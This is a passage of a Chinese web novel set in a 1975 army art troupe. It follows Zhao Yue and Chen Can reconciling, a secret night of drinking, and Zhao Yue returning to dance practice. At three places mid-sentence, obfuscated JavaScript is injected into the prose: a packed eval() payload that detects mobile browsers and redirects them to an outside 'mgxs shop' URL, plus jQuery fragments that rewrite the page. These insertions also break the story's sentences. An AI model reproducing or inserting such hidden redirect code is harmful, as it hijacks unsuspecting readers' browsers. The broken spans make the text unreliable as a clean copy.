兆悦一听他语气里那丁点似有若无的责怪,脸色瞬间就冷了下来,眉尖一蹙,直直盯着他:
“我怎么了?我又怎么了?”
陈灿一见她冷脸质问,整个人都慌了神,舌头都打了结:“没、没没没什么意思……我不是那个意思……”
他稳了稳神,又捧着项链小心试探:“那……那你要不要,我现在给你戴上?”
兆悦心里跟明镜似的。
他打的什么算盘,她一清二楚——戴上这条项链,就算翻篇、就算原谅、就算和好了是吧?
想得美。
她嘴角勾起一抹淡淡的凉笑,故意慢悠悠道:“我怎么好意思戴你的项链呢。”
陈灿一下子急了,声音都拔高了一点:“你当然能戴!这本来就是给你的啊!是送你的生日礼物,我就是……我就是想跟你和好。”
兆悦抬眸,眼神带着几分不容置喙的强势,一字一句道:“你以为,我的和好,就这么容易得到是吗?”
陈灿急得手足无措,连忙摆手一通解释,声音都带着慌:“我不是那个意思,真不是……我就是太想跟你和好了,我脑子都乱了。”
他眼巴巴望着兆悦,语气里全是无措与恳求:“我真的不知道该怎么做了,你告诉我,到底要我怎么做,你才肯答应我?”
兆悦看拿捏得差不多了,才肯施舍般开口,语气淡淡:“你是不是应该,正儿八经跟我好好说一遍?”
陈灿立刻绷紧了身子,脸上再没半分轻浮,整个人都端正起来,认认真真、郑重无比地看着她。
“兆悦,我想跟你和好。我想让你,重新做我的女朋友,行不行?”
兆悦看陈灿一脸郑重,都快给自己行军礼了,也不再故意拿乔,轻轻转过身,背对着他。
“那你帮我戴上吧。”
这一句,等于松口答应了。
陈灿整个人瞬间松了下来,胸口里那颗悬了半天的心终于落定。
他赶紧捧着项链,小心地从她身前绕到颈后,指尖不经意碰到她白嫩温热的后颈肌肤——他才猛地意识到,自己真的已经好久、好久,没有离她这么近过了。
67. 依靠
陈灿发现,自己比当时第一次恋爱时还要慌张,连伸手拥抱都不敢贸然动作。
兆悦走到排练厅的镜子前,看着脖子上的项链。
款式不算精致,蝴蝶结打得很普通,毕竟是他这个新手亲手敲出来的,分量在项链里也不算轻。
端详了一会儿,她才缓缓转过身,看向他。
兆悦看着他,开口道:“陈灿,你现在还在考察期,还没有转正,知道吗?”
陈灿立刻点头。
兆悦朝他走近,他心跳骤然加快,只怔怔看着她。
兆悦在他面前站定,抬眼望着他。
“我还有很多账找你算,你好好准备。”
夏天到了最热的时候,大伙除了训练,基本都不往外跑,只等傍晚太阳快落下去才肯出门。
转眼,何小萍来文工团已经满一年。
这一年她过得还算安稳。宿舍里,沈一娣待她不错,小芭蕾几人偶尔说两句刺人的话,她也不往心里去。
旁人都知道她是革干子弟,分寸上从不敢太过。她也比刚来时成熟了不少,不再钻死理——就算继父不是亲生父亲,能借着这份身份少受些委屈,也没什么不好。
她大部分时间都黏着兆悦,打心底里觉得,兆悦做什么都妥当,有主见,她打心眼里佩服。
再说沈一娣,自打放下对杨铮的心思,整个人都轻松通透了许多,大提琴练得越发熟练。
她本是南方人,以前不常吃饺子,来了文工团却迷上食堂的饺子,一来二去,竟胖了十几斤。
杭春明倒是心思活络起来,不再只爱耍宝,常和一两个女孩眉来眼去。沈一娣每次提起都直摇头,和兆悦站在一边,统一觉得没眼看。
兆悦这段时间和陈灿走得并不近。
分开的那几个月冷静想过之后,她对他,已经没有当初那样黏腻浓烈的情绪了。
夏季多雨,中午排练结束时,天上忽然泼下一场大暴雨,出门都成了难事。分队长索性通知大家休息半天。消息一传开,几个宿舍立刻爆发出一阵欢呼。
兆悦躺在床上,哪儿也不想去。夏天伴着雨声,趁着阴沉的天色睡一觉,再舒服不过。
她往枕头上一靠,随口哼着调子,一时没留神,哼的是首现代流行的情歌。
调子轻软,没带什么歌词,还是被林丁丁听了去。
“你唱的什么呀?听着怪好听的,我怎么没听过?”
兆悦心里一惊,很快稳住神色,随口糊弄说是家乡的小调。林丁丁只当南方小调种类多,没再多问,夸了句好听,就又跑去别的宿舍串门。
郝淑雯从床铺上探出头,对着萧穗子和兆悦念叨:“这雨最好下到饭前就停,不然晚饭都没法去吃。”
萧穗子无奈笑她:“你怎么三句不离吃。”
兆悦跟着笑了笑,没插话,听着窗外淅淅沥沥的雨声,昏昏沉沉睡了过去。再睁眼,这一觉睡得格外舒坦,还做了个发财的好梦。
只是刚醒就觉得小腹隐隐坠痛,她心里一沉,起身一看,果然是经期来了。
好在午觉已经睡足,倒没糟蹋这难得的下午。她认命地起身收拾妥当。
窗外的雨小了些,她打算去食堂吃晚饭。平时没这些状况,晚饭随便对付两口就行,可这会儿身子不舒服,总想多吃点暖暖身子。
只是人懒,实在不想多走动,眼珠轻轻一转,心里便有了主意。
半小时后,兆悦斜靠在排练厅后台的长椅上。
她刚才在宿舍楼下,对着对面男寝喊了杭春明。杭春明哪会揽这种差事,直接转手就丢给了陈灿。
兆悦本来就是这个打算,就想让陈灿跑这一趟。
杭春明把事推给陈灿时,看着陈灿那副立刻应下、兴冲冲往外跑的样子,心里想:好像有人要接自己班了。
没一会儿,陈灿就端着饭盒到排练厅后台找兆悦。见她恹恹地靠在椅子上,立刻上前关心。
“你是不是不舒服?”
兆悦没遮掩,直接开口:“我经期。”
陈灿瞬间僵住,耳尖发烫,手忙脚乱得连饭盒都不知该往哪放,只能强装镇定。
“很难受吗?”
“还好,就是没力气。”兆悦淡淡道。
陈灿坐下打开饭盒,里面只是食堂寻常的菜。他皱了皱眉。
“要不要我再去给你加个菜?”
话一出口,他忽然想起之前的事,又补了一句:“还有,要不我去给你弄点红糖水?”
兆悦抬眼瞥他,语气凉了半分:“怎么,给人带红糖水还带上瘾了?”
陈灿立刻慌了,连声解释:“我没有,我只给你带,别人我才不管。”
兆悦看他急得手足无措,也不再逗他。好好一个小伙子,再逗下去真要成呆瓜了。
陈灿就在旁边坐着,硬邦邦的木椅靠着也不舒服。她没多想,微微一侧身,直接靠在了陈灿的肩膀上。
陈灿浑身一僵,连呼吸都轻了几分。
从新年那次吵架分开后,两人就再没这样亲近过。
这还是兆悦第一次主动靠过来。
陈灿心里又酸又软,知道可能是她此刻身体虚弱,才想找个依靠。
他犹豫片刻,试探着抬起右手,从她身后轻轻环住她。
兆悦没有拒绝。
陈灿心里瞬间甜得发紧。
兆悦往他怀里靠了靠,声音软软的:“我不想动,你喂我。”
他哪里会不愿意。
这哪里是使唤他,分明是送给他的甜头。
陈灿一口一口喂着兆悦,起初动作生疏,慢慢就熟练起来。
可他刚顺手,兆悦就摇了摇头,不想再吃。
陈灿收好饭盒,依旧轻轻搂着她。
“怎么只吃这么点?等会儿饿了怎么办?”
“不会。”兆悦声音懒懒的,“不舒服,就吃不下。”
陈灿不敢再劝,只收紧手臂抱着她。
兆悦沉默片刻,又开口:“我之前说过,还要跟你算账。”
“你尽管算。”陈灿低声应道,“我都认。”
他态度诚恳,认错认罚,兆悦反倒没了发难的心思。
她轻轻推了推他的胸膛。“你都不问问,我算的是什么账?”
陈灿摇头,目光落在她脸上。
小巧的鼻子,嫣红的唇,长长的睫毛轻轻垂着。
而这一切的主人,正脆弱又依赖地靠在他怀里。
这就够了,什么账他都愿意受着。
陈灿原本以为,她要算的账,是自己不够包容、太过冷漠,或是曾经苛责过她。
没想到兆悦开口第一句,竟是:“那天你居然敢说,自己能有多好看?难道在你心里,我很丑吗?还是那天我穿得很丑?”
陈灿当即就急了。
他从来没有那样想过。
那时不过是话赶话,说的气话。
那段日子,他只要一闭眼,眼前就全是她那个粉色的身影,怎么可能觉得不好看。
陈灿连忙抱紧她,急着解释:“我那时候是口不择言。我心里从来没觉得你不好看,那段时间我闭上眼睛,满脑子都是你,怎么可能嫌弃你。”
兆悦脸色稍缓,紧跟着又抬眼问他:“还有你跟郝淑雯、萧穗子她们那些举动,你想干嘛?这么急着找下一个?”
陈灿一下子急了,连忙辩解:“我没有!我那时候满脑子都是跟你闹别扭的事,哪有心思管别的?我都不记得跟她们说过什么了,我心里更没有过别人。”
兆悦听完,只抿着嘴,撇过头不说话。
陈灿心里清楚,兆悦不追问了,正是该他好好哄人的时候,哪里还能傻等着她先开口。
他收紧胳膊,把人轻轻往怀里带了带,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309149|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音放得又低又软,带着几分小心翼翼的讨好。
“是我不好,之前光顾着闹脾气,没顾上你的心思,让你受委屈了。我心里从头到尾就只有你一个,以后我再也不让你难过了。”
兆悦在他怀里轻轻蹭了蹭,像只终于顺毛的小猫。
陈灿心口一软,指尖轻轻抚过她的头发,声音低哑又温柔:“还生气吗?”
兆悦闷声摇头,脸埋在他胸口,声音含糊:“气还是有点气的,但……暂时原谅你。”
他低头,鼻尖轻轻蹭了蹭她的发顶,手臂收得更紧,把她整个人护在怀里。
“那我以后天天都好好表现,让你慢慢不气。”
“你说得好听。”兆悦小声嘟囔,却伸手轻轻揪住他的衣角,往自己身边带了带。
陈灿低笑出声,胸膛微微震动。“好不好听,你往后看。只要你不推开我,我就一直这样抱着你。”
窗外的雨声愈发细碎,只剩淅淅沥沥的几缕。兆悦从他怀里抬起头,坐直身子,神色沉静下来,主动提起了齐威。
“我跟齐威,是十五六岁认识的。”她指尖轻轻划过他军装上的纽扣,语气平淡,“那时候年纪小,什么都不懂,就偶尔写写信,确实有过一点懵懂的心思。”
她顿了顿,目光望向窗棂上的雨痕,又转回来看着陈灿:“可他为了前途,为了功名,说走就走了,连句交代都没有。”
兆悦轻轻摇头,伸手环住他的腰,脸颊重新贴回他温暖的胸膛:“所以我早就把他忘了。后来到了文工团,遇见了你,那些过往,就更不算什么了。”
陈灿垂下眼,指尖抚过她的发梢,手臂稳稳托住她的后背,低声道:“不算什么就好。”
兆悦垂了垂眼,语气坦然又带着点当时的小纠结:“那天我看见他,其实心里隐约猜到,他说不定是因为我才来的。可我不想主动去找他,我跟他本来就没什么。”
她轻轻抿了抿唇,继续说:“万一我凑过去问,结果人家根本不是那个意思,那我不是太自作多情了吗?所以我一开始,就假装什么都没看出来,什么都没发生。”
兆悦看着他,语气认真又带着几分委屈,认真地跟他解释:“我不是故意瞒着你,只是觉得没必要说。
他来得突然,但我心里早就打定了主意,不会跟他有牵扯,我要的一直是你。所以才没主动提。”
陈灿没打断,只是掌心轻轻覆在她的手背上,安静又专注地听着。
陈灿那天本就憋着气,齐威说话又含糊又绕,只断断续续飘进耳朵里——彻夜未眠、痛哭流涕这类字眼,听得他心尖发紧。
具体两人到底说了什么,旁人没听懂,可他只抓得住一个最刺心的感觉:这两个人,过去一定不浅。
再看两人站在一起的模样,他心里那坛陈年老醋当场就翻了个底朝天,怒气和酸意一股脑往上冲。
他气这个突然冒出来的人,摆明了没把他这个正儿八经的男友放在眼里;更憋屈的是,他们是地下恋情,不能光明正大站出来宣示主权,只能硬生生憋着。
又气,又无奈,又酸,又涩,胸口像堵了块沉甸甸的石头,闷得他喘不过气。
他当时什么都顾不上细想,只觉得被瞒在鼓里,又被人当面挑衅,整个人都被妒火冲昏了头。
他不是不信兆悦,他是怕——怕她有事不说,怕她心里还藏着别人,更怕自己连争的立场都没有。
此刻看着怀里认真解释的人,他语气软了下来,带着几分后怕与歉意,轻声道:“我当时真的气昏了头,那些字眼一飘进耳朵,我整个人都乱了。我不是怪你,我是气自己什么都不知道,气你瞒着我。对不起,那天对你那么凶。”
顿了顿,他目光轻轻落在她脸上,语气放得极轻,却带着一丝挥之不去的在意,小心翼翼地追问:“那你告诉我……那天齐威说的那些话,到底是怎么回事?”
68. 醉酒
兆悦立刻解释:“是他当年那样问我,又不是我真的那样做了。会彻夜未眠、会放在心上的人是他,不是我。”
陈灿望着她,语气里还带着一丝不易察觉的较真,轻声追问:“那你……到底有没有为他哭过、睡不着过?”
兆悦被戳中了心事,眼神微微一飘,下意识咬了咬下嘴唇,忍不住憨笑了一下。
她其实瞒得住,只要跟杭春明他们打个招呼,这事就能翻篇。可她心里就是不想骗陈灿,一点都不想。
她抿着唇,带着点小心虚又有点不好意思,软声撒娇:“哎呀……那都是很小很小的时候了嘛。”
这也相当于变相承认了。
陈灿盯着她泛红的耳尖,哪里听不出来这里面藏着旧事,当下手臂一收,把她紧紧搂进怀里,鼻尖快蹭到她额头,压低声音问:“嗯?说清楚。”
兆悦被他看得心头发虚,立刻软下声音撒娇耍宝:“哎呀~那都是小时候不懂事啦!而且我才没有睡不着,我睡得可香了!”
她想这么一混,就把事情轻轻盖过去。
可陈灿怎么可能轻易放过她,只低头盯着她,嘴角噙着点又酸又无奈的笑,等着她老老实实交代。
兆悦一看他这眼神就知道躲不过,立刻伸手搂住他的脖子,凑上去笑嘻嘻地服软:“就是……小小小小地哭了一下下而已嘛,嘻嘻。”
陈灿被她这又娇又赖的模样逗得一点气都消了,只低头盯着她,眼底带着点笑意,又带着点认真:“那我……小小小小地惩罚你一下,行不行?”
兆悦立刻不依了,往他怀里缩了缩,小声嘟囔:“为什么呀~你真霸道,以前那么久的事情都要管。”
兆悦瞧他神色,连忙认真解释:“我那时候哭,真不是对他有多深的感情。你了解我的,我最讨厌的就是被人取舍掉,那种感觉太难堪了,我只是委屈自己而已。”
这话一出,陈灿心里顿时舒坦了不少。那么小的年纪,能有什么刻骨铭心,她本就好强要面子,他比谁都清楚。
兆悦又抬眸瞪他一眼,故作认真:“告诉你哦,你以后要是敢把我取舍掉,我才不会为你哭呢。”
陈灿被她逗笑,顺着她的话打趣:“这么狠心?”
“哼。”兆悦翘了翘嘴角,伸手轻轻戳了戳他的胸口,“那我勉为其难给你盖个章,这件事就算彻底翻篇,不准再吃醋了。”
陈灿刚挑眉问:“盖什么章?”
兆悦没说话,微微倾身靠近,抬手勾住他的脖子,主动轻轻亲了上去。
这下陈灿哪里还有半分不满,整颗心都甜滋滋的,软得一塌糊涂。
可甜蜜没持续两秒,兆悦就轻轻往后退了一点,眨着眼一本正经:“盖章都是很轻的,你知道的吧,陈灿同志。”
她这一分开,陈灿反倒被勾得魂都快没了。
真的太久太久没亲过她了,刚才那一下轻得像羽毛,他连回味都没来得及,就没了。
眼底的笑意深了又深,望着她。
兆悦看着他这个样子,心一下就软了。
两个人自从亲近之后,面对彼此,向来都这样,轻易就会心软。
陈灿抬手,轻轻替她理顺脸颊边的头发,目光安静地落在她脸上,细细看着她的五官。他声音放得很轻,慢慢开口。
“刚分开的时候,我一直很后悔。看着你越来越好看,我心里心动得不行,但是又不好意思表现出来。这些日子,我总想起我们以前在一起的时光。”
他顿了顿,语气低了些。
“还有那张婚纱照。我好几次赌气,想把它丢掉,最后还是舍不得。”
说完,他把照片拿了出来。
照片被他天天翻看、反复摩挲,边缘都已经起了毛边,这些痕迹,一点都做不了假。兆悦睨着他,嘴角弯着笑。
陈灿故意往她身边凑,撒娇似的把人搂紧:“不信啊?”
兆悦被他逗弄得没辙,连连点头:“信信信。你就会故意逗我是不是?之前见着我就冷着一张脸,萧穗子还偷偷问我,是不是哪里惹你不高兴、得罪你了。”
陈灿立刻喊冤:“我可冤了。你不也看见我就躲吗,一副不想多看我的样子。”
“我哪是懒得看你,你别乱冤枉我。”兆悦顿了顿,话音轻轻停住,“我是……”
她故意不说完,就这么吊着陈灿。
陈灿被勾得心痒,低头逗她:“是什么?说清楚。”
兆悦抿着嘴笑了会儿,才慢慢开口,声音放得又软又轻,故意戳他心软的地方:“我那是害怕……怕你又凶我。”
这话一落,陈灿心里瞬间又酸又软,哪里还有半分逗弄的心思,立刻放轻语气,紧紧抱着她轻声哄:“是我不好,以前是我不对,我以后再也不凶你了,好不好?”
兆悦故意绷着小脸,一声不吭,模样委屈。
陈灿看得心都揪紧,心疼得不行。
他收紧手臂,把人抱得更稳,低声哄:“我们以后都不吵架了,好不好?”
兆悦在他怀里安静了片刻,不再装委屈,声音轻轻的,带着一点认真:“陈灿,我觉得我们……依然有可能会分开。”
话还没完全说完,陈灿整个人猛地一慌,心脏像被狠狠攥了一下,声音都跟着发紧:“为什么?是不是我哪里又做错了?还是你……”
兆悦轻轻摇了摇头,察觉到他的慌张,往他怀里又靠紧了些。
“不是你想的那样。”她声音安静又认真,“我只是觉得,两个人在一起,本来就有分开的可能,这件事谁也没法完全避免。但我不想因为害怕就退缩,我希望我们能多给对方一点信任,多留一点空间,慢慢走得更远一点,你觉得呢?”
陈灿紧绷的心这才缓缓落下,他收紧手臂,把她抱得更安稳,语气里全是认同与温柔:“我都听你的,你怎么说,我就怎么做。以后我多信你,多迁就你,我们好好走下去。”两人又依偎亲昵了许久。
兆悦忽然想起,陈灿一直忙着给她带饭,自己多半还没吃,便开口问他。
陈灿坦然承认,还没吃饭。
兆悦轻声劝:“不然你去食堂吧,现在应该还有剩。”
“没事,我吃你这个就好。”陈灿不在意地说。
兆悦愣了下:“这都是我吃过剩下的。”
陈灿看着她,语气自然又温柔:“那又怎么了。”
他当真就着她剩下的饭,安静地吃完。
又温存了片刻,外面的雨彻底停了。
两人才收拾好,一前一后分开走,像从前那样,小心翼翼,生怕被人撞见。
回到寝室,萧穗子立刻凑过来,关心地问:“怎么样,好点没?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309150|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>兆悦轻轻点头:“好些了。”
寝室里很快安静下来,大家各自休息。
夏末的暑气淡了不少,可余热仍在。兆悦本就怕热,宿舍里只有风扇,吹得人心里发燥,一到夜里就格外想喝冰啤酒。
但她在外一向是清冷好看、不食人间烟火的模样,这种爱好自然不能让人知道,只能悄悄撺掇杭春明、杨铮和沈一娣陪她。
杭春明最近正和一个扎双麻花辫的女兵眉来眼去,满脑子都是约会,根本没空理她。
杨铮本就不爱喝酒,也不掺和。
最后只剩沈一娣。
沈一娣本来就爱吃饺子,对酒更是痴迷,和兆悦简直是一路人,都是无酒不欢的性子。
两人一拍即合,打了报告,说是要出去给家里寄信。
文工团本来就要求外出必须两人同行,这下正好顺了她们的意。
一出去,两人就直奔地方,急急忙忙开喝,一口气灌下十几瓶啤酒,好在还留着最后一点理智,没喝到酩酊大醉。
另一边,杭春明刚和那女兵偷偷散完步回来,一进宿舍就听见杨铮含糊道:“她俩出去……了。”
说着,杨铮抬手半握拳,比了个举杯仰头的动作——这是他们之间喝酒的暗号。
杭春明瞬间懂了,脸色一紧,声音立刻压低:“你怎么能让她俩单独去?这两个酒蒙子……”
这话刚巧被洗完澡回来的陈灿听见。
他起初没在意,只当是说哪个男兵,没往心里去。
直到杭春明皱着眉起身:“不行,我得去迎迎,别让她俩醉得连女兵宿舍都找不着。”
“女兵宿舍”四个字一入耳,陈灿脚步一顿。
不用猜,他心里立刻就反应过来——十有八九,是兆悦。
酒劲正往上冲,两人勉强躲过门口的检查,路过排练厅时停下脚步,想站几分钟散散酒气。
兆悦醉得脚步发飘,硬是拉着沈一娣要跳双人舞,转了没几圈,沈一娣脸色就不对了,之前喝之前还吞了一大盘饺子,此刻胃里翻江倒海,撑不住要去找垃圾桶吐。
兆悦半点不想沾呕吐物,乖乖留在排练厅里等。
她半醉半醒地靠在墙边,眼前忽然晃过两道身影,都不是出去的沈一娣。
她眯着眼,抬手指了指左边的人,声音软乎乎带着醉意:“你是谁呀?”
左边的人一顿,压低声音拼命咳嗽,不停用眼神示意她看右边。
兆悦还没琢磨明白,左边的人已经轻声开口:“我去看看一娣姐,她就交给你了。”
是杭春明的声音。
那右边的人是谁?
她还没问出口,就被人轻轻扶着带到旁边的长椅上,距离骤然拉近,气息清晰地落在她脸上。
兆悦眨了眨迷蒙的眼睛,盯着眼前的人看了半天,忽然笑了,语气迷糊:“你长得好像我男朋友哦。”
对方低头看着她,声音清晰了,一字一顿地落在她耳边:“我就是。”
听到这话,兆悦猛地一激灵,用力眨了眨眼,视线终于对焦,看清了眼前的人——真是陈灿。
酒意瞬间醒了大半,她先是一阵尴尬,自己醉醺醺的模样全被他看了去。
可下一秒,她就收起窘迫,干脆将计就计,往他身边一靠,拖着软软的调子喊他:“陈灿~”
69. 秋暖
陈灿果然招架不住,喉结轻轻滚动,悄悄咽了下口水。
兆悦笑眯眯地往他身上贴,轻声问他:“怎么会来这里,是不是杭春明跟你说了什么?”
陈灿低声说不是,是他自己猜到的。
兆悦心里好奇他怎么会猜到自己偷偷喝酒,却没好意思直接问。
倒是陈灿先开了口,语气里带着点无奈:“我还不知道,你原来是个小酒蒙子。”
兆悦有点不好意思,软着声音撒娇:“就喝了一点点而已。”
陈灿轻轻板起脸:“这叫一点点?”
兆悦只管继续撒娇,他拿她一点办法都没有。
他垂眸看向她,夜色里,她的脸比平时更白里透红,嘴唇也泛着浅浅的红,眼神还带着几分迷离。
其实兆悦早就清醒得差不多了,她的喝酒法则有一条——女人的酒量,也可以三分醉,演到你流泪。
她借着这点酒意,伸手贴向陈灿,轻轻蹭着他的脖颈,声音黏糊:“陈灿,你好香啊。”
陈灿一本正经地解释:“刚洗完澡,香皂的味道。”
兆悦故意摇头,轻声呢喃:“不是~是你的香味。”
一句话,让陈灿整个人都像被火烫了一下,心跳瞬间乱了。
兆悦看他坐立难安的模样,又轻轻添了一把火。
她皱了下鼻尖,轻声说自己嘴巴痛。
陈灿立刻信了,忙低头凑近,想看看她怎么了。
下一秒,那张喊着嘴巴痛的小嘴,却飞快在他唇上啄了一下。
陈灿先是一怔,随即低笑出声,气息贴在她脸上:“你知道自己在干什么吗?”
兆悦眼尾弯弯,故意装傻:“在吃好吃的。”
陈灿哪里还忍得住,刚要低头贴上去,她却伸手轻轻抵住他。
“不要吃了。”
陈灿被她撩得没了办法,身子压得极近,声音又低又哑:“那怎么样才给吃?”
兆悦故作晕乎乎的模样,往他怀里一靠,声音拖得软软的:“嗯……”
陈灿的心被她勾得又痒又乱,刚要再哄,兆悦笑着开口:“怎么样都不——”
话音还没落下,他已经低头,伸手轻轻扣住她的后腰,俯头吻了下去。
唇齿相贴的瞬间,兆悦嘴里淡淡的啤酒清气缓缓散开,混着她身上淡淡的甜香,一股脑裹住了陈灿。
他扣在她后腰的手微微收紧,小号手常年练出来的肺活量在这一刻展露无遗,温柔却不容躲避地包裹着她,力道沉稳。
兆悦原本还撑着几分清醒,没几秒就真的晕乎乎了,脑子一片空白,连呼吸都跟不上节奏。
她下意识地往他怀里缩,鼻尖轻轻哼唧了两声,软乎乎的喘息蹭在他唇角,陈灿这才堪堪松开她,额头抵着她的额头,气息微乱。
他先一步开了口,声音哑得厉害,带着几分得逞的低笑:“还敢不敢这样了?嗯?小酒蒙子。”
兆悦被吻得脸颊发烫,头一回生出真切的害羞,心里乱糟糟地犯嘀咕:他怎么回事?这几个月分开,难不成天天找谁练手了?怎么突然这么会了?
可她明明在答应复合前,特意拉着杭春明仔细盘问过。
他和陈灿一个宿舍,最清楚底细。
杭春明说,分开之后陈灿起初还算正常,依旧是排练、食堂、宿舍三点一线,没和谁走得近,也没什么出格反差的举动,顶多就是人比以前冷淡了一大截。
直到一个月后,他才慢慢不对劲。
每天洗完澡回宿舍,往床上一瘫就不动了,要么闷头睡觉,要么就盯着一张照片看,看够了塞回抽屉,没一会儿又忍不住拿出来,反反复复。
再到春天那会儿,整个人更是常常发呆,一整天躺在床上擦小号,要么就躺着不说话,魂都像是被抽走了一半。
尤其前几天游泳那会儿,整个人魂不守舍的,肉眼可见的低落。
从头到尾,杭春明拍着胸脯保证,没见他和任何一个女兵走得近。
兆悦越想心越慌,脸颊烧得厉害,竟真觉得是酒劲冲上头了。
她猛地撑着陈灿的肩膀站起来,脚步微微晃了晃,眼神都有些飘。
兆悦连眼尾都不敢扫陈灿,只顾着晃着发软的脚步要走,手腕却忽然被他轻轻扣住。
她心里清楚,再待下去,酒精催着的冲动真要收不住了,于是头也不抬,声音发紧:“不行了,我得回去了。”
陈灿一眼就瞧出她的浮动,指尖微微收紧:“你今天怎么了?”
兆悦哪里肯在他面前露怯,强撑着最后一点清醒,硬着头皮找借口:“太晚了,再不走被巡查的抓到,我们俩都完了。”
陈灿见状也不再逼她,松了口,语气却柔得能滴出水:“那我跟在你后面,看着你安全上楼。”
兆悦低声应了句好,两人便一前一后走出排练厅,依旧是那套谍战片似的走法,她在前,他在后,保持着不远不近的距离,一路沉默却心潮翻涌。
直到兆悦踏上宿舍楼台阶,依旧不敢回头看他,匆匆往上走,等拐进二楼走廊,才忍不住扒着栏杆往下望。
陈灿还站在原地,目光直直地望着她的方向,见她探头,含笑着抬手,轻轻朝她挥了挥。
兆悦心跳骤然失控,脚底抹油一般一溜烟躲进了宿舍,脸颊烫得能烧起来。
而楼下的陈灿望着她消失的方向,唇角抑制不住地往上扬。
她方才那副害羞躲闪的模样,比两人初恋时还要动人、青涩,比任何时候都要让他心动。
兆悦强撑着精神洗漱完,一头栽倒在床上睡了过去,郝淑雯几人只当她是和沈一娣外出跑累了,并未多问。
第二天一早醒来,宿醉的头痛沉沉压着她,整个人昏昏沉沉提不起劲。
白天的训练课上,她状态平平,动作勉强跟上队伍,远没有往日的轻盈利落。
看着一旁的何小萍这段时间铆足了劲训练,每一个动作都精准到位、光彩尽显,兆悦心里猛地泛起一阵羞愧。
分队长点名让何小萍上前给大家做示范,队员们三三两两地靠在把杆上看着,眼神里有羡慕,有真心称赞,也藏着几分不易察觉的嫉妒与不屑。
换作从前,兆悦定会打心底里为何小萍高兴,可今天,她依旧替小萍开心,却再也没法坦然地自我宽慰。
这一整年,她的心思大半缠在和陈灿的分分合合上,为情所困,为恋爱摇摆,把练功这件最要紧的事抛在了脑后。
她向来是有天赋的人,书法几节课就能练出风骨,吉他几天便能上手弹奏,可再高的天赋,也架不住日复一日的懈怠生疏。
她从来都不是安于现状、甘于屈居人下的性子,昨晚贪杯醉酒、耽误今早训练的荒唐事,她再也不想犯了。
当天休整时,兆悦安安静静想了许久。
傍晚刚过,杭春明就悄悄溜过来,替陈灿捎来了晚上的约会邀请。
兆悦没有丝毫犹豫,直接摇着头拒绝了。
这天夜里,文工团的排练厅又亮起了灯。
空无一人的镜子前,兆悦换上练功服,重新站回把杆边,伴着夜色,开始了久违的加练。
练功房的镜子蒙着一层薄薄的汗气,兆悦站在镜前,一遍又一遍拆解着动作。
从指尖的延展到脚背的绷直,她反复打磨每一个细节,力求每一个定格都精准无瑕。
汗水顺着额角滑进衣领,浸透了后背的练功服,紧紧贴在身上,勾勒出脊背紧绷的线条。
门外,郝淑雯抱着手风琴路过,探头进来瞧了一眼,眼底飞快掠过一丝诧异,随即化作一抹不易察觉的得意。
她打心底里自视甚高。
父亲是军长,母亲是医院护士长,这样的家世在文工团里算得上顶尖,估计也没什么人能比。
在她看来,兆悦平日里吃穿用度都很体面,吃的穿的用的样样不差,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309151|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看就是干部家庭出身,家境绝不会差;可偏偏还这么拼、这么用功,想来也只是普通干部家庭,顶天了父亲也就是个小团长罢了。
郝淑雯轻笑一声,背着手风琴转身,脚步轻快地回了宿舍睡觉去了。
兆悦压根不知道背后有人在暗自揣度她,从那天起,她便开始天天加练。
起初陈灿非要陪着,说要在旁边等她、送她回宿舍,兆悦拗不过他,便答应了。
结果第一天就撞上了巡查的□□,陈灿一个人慌忙躲进后台暗处,大气都不敢喘。
兆悦留在原地,好在对方看她满头大汗、浑身是累的模样,知道她是真在练功,没多为难,只叮嘱一句按时回寝,便转身走了。
经这么一吓,兆悦说什么也不肯再让陈灿陪着加练了。
兆悦也没丢下钢琴,她打算把从前在现代花钱找人编的曲子重新扒一遍,谱子还记着,只是手生了,得一点点捡回来。
这么一来,她和陈灿几乎没了单独相处的时间,两人又像最开始那样,只敢在人群里偷偷眉来眼去,趁人不注意时指尖轻轻碰一下、胳膊悄悄贴一贴,连多说几句话也只能小心翼翼。
1975年的秋天来得悄无声息,排练厅的窗缝里钻进来的风,带着梧桐叶的微凉,吹在汗湿的练功服上,激得人打个轻颤。
兆悦的加练从未间断,日复一日的打磨,让她的身形愈发挺拔,每一个抬手投足间,都凝着沉下心来的韧劲。
这天一早,分队长踩着晨光踏进排练厅,手里攥着叠得整齐的演出通知,嗓门清亮地打破了晨练的节奏:“同志们,都停一下!上级刚下达任务,月底咱们要去省军区参加慰问演出,这次的主舞——”
